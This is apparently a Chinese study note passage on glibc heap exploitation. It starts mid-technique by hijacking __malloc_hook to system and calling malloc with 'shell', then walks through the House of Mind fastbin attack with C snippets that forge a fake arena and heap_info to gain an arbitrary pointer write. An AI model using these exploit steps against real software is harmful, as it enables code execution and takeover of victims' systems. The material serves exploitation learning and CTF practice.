我们需要获得__malloc_hook - 0x10的值,这里需要爆破,一样由于页对齐,倒数第四个 4bits需要进行爆破。

然后再malloc(0x80) 这里必须大小完全一致,否则会有链完整性的检查。

再把__malloc_hook 设置到system
也就是把main_arena + 0x68 设置成system
我们之前已经获得了一个malloc_hook_chunk 写入就行 这里需要爆破system在libc里面的地址,并且可能是比较多的。
最后一步是malloc(shell);

house_of_mind_fastbin

通过伪造一个fake non-main arena 来实现任意写入
non-main arena 是除了主分配区之外的动态管理内存的区域 每个新的线程可能会分配自己的堆内存,这就要用到non-main arena

前提:

  1. 能够分配任意数量的chunks
  2. 存在一个byte的溢出
  3. 存在内存泄漏

有两种利用的方式

  1. 向任意地址写入一个被释放掉的指针
  2. 向任意地址写入一个大数值

这个漏洞利用的核心就是 non-main arenas在glibc中的使用。

首先了解一下 non-main arena的机制
heap info struct结构

struct _heap_info
{
mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer
struct _heap_info *prev; // Previous heap.
size_t size; // Current size in bytes.
size_t mprotect_size; // Size in bytes that has been mprotected
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;

mstate 是 malloc_state结构体指针 指向该堆所属的arena
在 主分配区(main arena) 中,heap_info 不存在,因为主堆是通过 brk 扩展的,而非 mmap。
在 非主分配区(non-main arena) 中,多个 heap_info 可能共享同一个 arena(例如多线程环境下)。

size 记录当前堆的大小,包括heap_info 结构

mprotect_size 表示被mprotect 保护的内存大小

pad用来保证heap_info是内存对齐的 一般不用管。
主分配区 (main_arena)有一个special pointer 非主分配区都在对应的heap的最开头,
#define arena_for_chunk(ptr)
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
这个宏显示了怎么从一个chunk的ptr获取arena的位置

这个攻击手法的核心是通过伪造一个虚假的arena 在释放fastbin时通过滥用arena_for_chunk 将指针写入任意位置

流程如下:

  1. 为 non-main arena 定位一个有效的内存区域。
  2. 通过连续分配大量堆内存块,最终使堆空间扩展到非主线程专属的 arena 内存区域,从而获得对该 arena 内部数据的控制权。
  3. 伪造heap_info结构体,用于指定后续作为arena使用的’ar_ptr’
  4. 利用伪造的arena ,通过fastbin将指针写入’ar_ptr’的非常规内存。

int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100;

  1. malloc(0x1000) 作为伪造的arena
    target_loc = fake_arena + 0x28
    target_chunk = fake_arena - 0x10
  2. 准备一个有效的 arena 用于存储fastbin 。chunk的大小会通过system_mem进行验证,确保它不hi太小或者太大,这里只需要一个比fastbin chunk更大的值
    fake_arena[0x880] = 0xFF;
    fake_arena[0x881] = 0xFF;
    fake_arena[0x882] = 0xFF;

接下来计算fake arena 的位置。
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
作用:
计算一个 对齐到 HEAP_MAX_SIZE 的地址,作为伪造的 arena 的基地址。
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;
作用:
将计算出的对齐地址 new_arena_value 转换为 uint64_t* 指针,表示 伪造的 heap_info 结构。
uint64_t* user_mem = malloc(MAX_SIZE);
如果攻击者希望 切换到非主线程的 arena(如 mmap 分配的堆),可能需要通过大量分配使 main_arena 耗尽空间,从而触发 glibc 分配新的 heap_info 和 arena。
3. while ((long long)user_mem < new_arena_value) {
user_mem = malloc(MAX_SIZE);
}
前面已经计算new_arena_value所在的位置 ,这里用过反复malloc获得目标位置
准备一个 fastbin 大小的堆块(chunk)作为攻击目标
uint64_t* fastbin_chunk = malloc(0x50);
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
printf(“Fastbin Chunk to overwrite: %p\n”, fastbin_chunk);
4. 填入heap_info信息
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit 这一步很关键,它成功让程序认为这玩意是由新的arena 管理的
5. free(fastbin_chunk);
内存布局:
malloc_state {
0x0: mutex等字段
0x8: fastbinsY[0] ← 这是第一个可写位置

0x28: fastbinsY[4] ← size=0x60的chunk会写入这里
}

攻击原理:
当释放size=0x60的fastbin chunk时:
glibc会计算fastbin_index(0x60) = 4
写入位置 = arena地址 + 0x8(fastbinsY偏移) + 0x20(4*8字节)
最终写入arena+0x28处